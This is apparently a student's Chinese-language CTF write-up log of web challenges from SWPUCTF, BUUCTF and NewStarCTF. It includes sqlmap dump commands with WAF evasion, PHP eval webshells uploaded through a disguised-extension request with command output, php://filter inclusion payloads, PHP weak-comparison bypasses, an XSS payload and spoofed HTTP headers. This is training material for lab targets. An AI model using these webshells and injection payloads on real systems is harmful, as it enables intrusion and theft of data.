2024 CTF 做题记录
web
[SWPUCTF 2021 新生赛]easy_sql
我可能不知道怎么写参数,但是我会用 sqlmap
.
python3 sqlmap.py -u .... --dump testdb
另外说一句,直接用 --dump-all
是很蠢的行为 因为可能会 dump 到 mysql 的配置数据库,显然对拿到 flag 没什么帮助。
try to use --dbs
.
[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
简单的代码审计。
显然想要拿到 flag 只需要 post 一个内容为 wllmnb 的 id ,再在 json 把变量 x 赋值 wllm 即可。
用 hackbar 完成。
另:json
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。
JSON的值:
3.1 JSON的构成: ws 值
3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:
{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}
引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
3.2.2数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。
[SWPUCTF 2021 新生赛]easy_md5
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
wrong!
需要 get 一个 name , post 一个 password
且需要 name 和 password 的值不相等但 md5 又要相等。
考点: php 弱比较
==不会对比类型
===也会对比类型
可以采用两个0e(php会将每个0e开头的哈希值解释为0)开头的哈希值进行绕过
弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0
代码审计:要求get获取的a和b的值要求不相等,但要求其md值相同
以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
payload:?a=QNKCDZO&b=240610708 即可绕过
也可以采用两个数组进行绕过(MD5无法对数组进行加密,因此返回值均为NULL)
另: isset 函数用来判断一个变量是否被声明 返回布尔类型。
[SWPUCTF 2021 新生赛]include
先告诉我们传入一个 file 试试,于是 ?file=114514
然后出现如下
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中
发现玄机在于 flag.php 但是 ?=flag.php 无回显。
于是我们想到使用 php 伪协议 把源代码转变成 base64 编码后再一次 decode 查看到源代码。
?file=php://filter/read=convert.base64-encode/resource=flag.php
关于 php 伪协议 https://www.php.cn/faq/481803.html
include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true
BUUCTF SQL COURSE 1
非常有参考意义的一道题。
打开之后显示了几个新闻 点击进去发现是用 example.com/#/content/1 这样的 url 查询的。我注入点呢?
网站提供了一个输入用户名密码的界面,我尝试 --data
但是发现竟然连接不上网站。
最后不得已去查了 WP ,发现可以 F12 在 Network 中找到请求 url , 并且需要使用 -random-agent
因为默认情况下 sqlmap 发送的请求的 header 中使用的 agent 都是 sqlmap ,所以非常容易被 WAF 过滤掉,所以需要使用 -random-agent
.
http://b9c75a2c-32a0-4530-b944-bbc96d88cdb6.node5.buuoj.cn:81/backend/content_detail.php?id=1
赫然出现了注入点 id.
随后我们经典一手 sqlmap 起手,直接 --dbs 光速成功爆库 接下来就是慢慢 dump 找 flag 的过程。
在数据库中 dump 到用户名和密码 输入到网站提供的登陆界面,拿到 flag.
BUU UPLOAD COURSE 1
一道 upload 的裸题。
可以发现并不会对上传的文件进行过滤,但是会把上传的文件改为 .jpg
但是仍然可以执行 php 代码,所以使用一句话木马
<?php @eval(system($_POST["x"]));?>
用 antsword 连接即可。 cat /flag
[第二章 web进阶]死亡ping命令
学长领着做的。因为本机没有环境,贴一个别人的 WP 参考。
https://blog.csdn.net/qq_45414878/article/details/109672659
[第二章 web进阶]XSS闯关
非常抽象 xss ,让我的电脑旋转。
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
过关目标是在页面执行 alert()
函数。
- 第一关
</head>
<body>
<div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome xss</span></div></div></div></div></div></div>
</body></html>
第一关并没有对可操控点 xss 进行过滤,而 html 可以用 script 标签执行 js 函数,所以直接传入 <script>alert()</script>
即可。
- 第二关
<body>
<div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
<div id="ccc">
</div>
</span></div></div></div></div></div></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
</body></html>
可以看到这关使用了 escape()
函数进行过滤。
escape()函数:不会对数字、字母和* @ - _ + . / 进行编码,但其他所有的字符都会被转义序列替换
但是这里的 var username='xss';
给了我们可乘之机。
NewStarCTF 2023
Begin of PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
显然一共是有五关,第一关是典中典 md5 弱比较
无需多言。GET /?key1[]=1&key2[]=2 HTTP/1.1
第二关是要同一个字符串的 sha1=md5,并且使用 post 方式
还是根据第一关的方式 sha1 函数同样会在处理数组时返回 null,所以只需要 post key3[]=1
第三关是需要key4 和 flag 的字符串比较结果等于0
strcmp
函数如果比较结果相等会返回0 str1>str2 返回大于0 反之亦然
但是如果传入数组其无法比较,会返回0
所以只需要传入key4[]=1 即可
第四关是需要一个变量并非数字 但是却要比2023 大
https://www.php.net/manual/zh/language.operators.comparison.php
详见 php 比较机制,如果一个数组和其他任何类型比较,数组总是更大
所以传入一个数组即可
key5[]=114514114514
php is_numeric 函数 bypass
最后是要传入一个 flag5 使得其每一位都不和正则表达式 a-z A-Z 0-9 冲突,且要为 true
只需要其不为空则为 true 随便传入一个字符即可 比如 flag5=......
拿到 flag。
Begin of HTTP
主要是 http 一些协议的练习
第一关是要 get 一个数据
第二关要 post 一个 secret 参数,而 secret参数藏在了某个地方 在 burpsuite 的 hex 里面直接搜 secret 发现在网页源代码里有一行注释 n3wst4rCTF2023g00000d
下一关是要认证我的 "power" 是不是 "ctfer" 那么就要在 http header 上找突破口了
http headers
power 对应 cookie 所以修改 cookie 即可
Cookie:power=ctfer
接下来需要使用 newstarctf 浏览器 那么只需要修改 user-agent
希望你是通过 newstarctf 而来的 修改 referer header
最后只有本地用户可以通过 修改 X-Real-IP 为 127.0.0.1
Begin of Upload
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 03:49:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1521
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload</title>
<style type="text/css">
body {
background-color: rgb(206, 240, 240);
}
</style>
<script type="text/javascript">
function validateForm() {
var fileInput = document.getElementById("file");
var file = fileInput.files[0];
var allowedExtensions = ["jpg", "jpeg", "png", "gif"];
var fileExtension = file.name.split('.').pop().toLowerCase();
if (!file) {
alert("Please select a file to upload.");
return false;
}
if (!allowedExtensions.includes(fileExtension)) {
alert("错误的拓展名,只允许上传: JPG, JPEG, PNG, GIF");
return false;
}
return true;
}
</script>
</head>
<body>
<center>
<br>
<h1>Welcome to NewstarCTF</h1><br>
<hr><br>
<form action="/" method="post" enctype="multipart/form-data" onsubmit="return validateForm()">
<input type="file" name="file" id="file"><br><br>
<input type="submit" name="submit" value="Upload!!!">
</form><br>
<br><br>
<img src="1.jpg" height="500px" width="450px">
</center>
</body>
</html>
可以看到有后缀名过滤,只允许上传 png jpg jpeg gif
所以只需要塞一个一句话木马进去 然后先上传 jpg 文件 使用 burpsuite 抓包把后缀名改为 php 即可
一句话木马<?php @eval($_POST['flag']) ?>
POST / HTTP/1.1
Host: d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywvufKGRuxyVe0bTO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d08de7eb-c04d-47d8-9ce6-7e91e5f9f6bc.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php @eval($_POST['flag']) ?>
------WebKitFormBoundarywvufKGRuxyVe0bTO
Content-Disposition: form-data; name="submit"
Upload!!!
------WebKitFormBoundarywvufKGRuxyVe0bTO--
然后 send to repeater 就可以使用 post flag=system('ls /'); 查看文件
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 17 Aug 2024 04:08:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.15
Vary: Accept-Encoding
Cache-Control: no-cache
Content-Length: 93
bin
boot
dev
etc
fllll4g
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag 即可
ErrorFlask
这个题多少有点幽默属性在的
打开网站提示你让你传入两个参数,number1 和 number2 然后会帮你加起来
其实到这里大多数人都会猜到可能是 ssti 毕竟题目名字就叫 errorflask
所以就按照提示传了两个参数 然后显示 not ssti,flag in source code
byd 你这不是此地无银三百两?
结果 ssti 发现无果,但是如果你不小心少传一个参数就会发现一个报错界面 然后报错界面里面展示了源码 源码里有 flag
我只能说啥比题。
R!C!E!
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
开局展示了这样的代码
简单审计就会发现要 post 两个参数 密码是你传入 password 的 md5 然后 code 就是你传的第二个参数 eval
然后需要满足你密码的前六个字符是 c4d038
并且你传入的 eval 必须满足正则表达式 然后就可以通过 php eval 函数进行代码执行。
rce 我比较菜 先 bypass。
easy login
burpsuite 爆破题 也是个钓鱼题 不想写了
游戏高手
function gameover(){
if(gameScore > 100000){
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
让我把游戏玩到 100000 分 当然是做不到了
但是我们发现是可以伪造自己的分数 然后 stringify 形式发送 所以必须是标准的 json 数据格式 我就是在这里被卡了很久
最后发送 post 请求即可。
POST /api.php HTTP/1.1
Host: 54c7818f-ee7b-4258-ae0d-823ec2bcc241.node5.buuoj.cn:81
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
{"score":1000000}
include o.o
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
首先发现是把伪协议 base64 转换给 ban 掉了
但是会执行一步文件包含操作 所以思路还是往文件包含上走
一般来说都是先考虑 base64 encode 然后再考虑 php://input
不过以上两种方式这道题都不好用
所以寻找 php filter 的其他协议
发现可以使用 utf 协议来转换
payload:http://54d616d5-2834-4750-89d2-c7a5c9ba9493.node5.buuoj.cn:81/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
ez_sql
直接使用 sqlmap 和他爆了
首先一手 --dbs 起手 发现有个数据库叫做 ctf
然后直接 --dump ctf 直接把 flag 爆出来了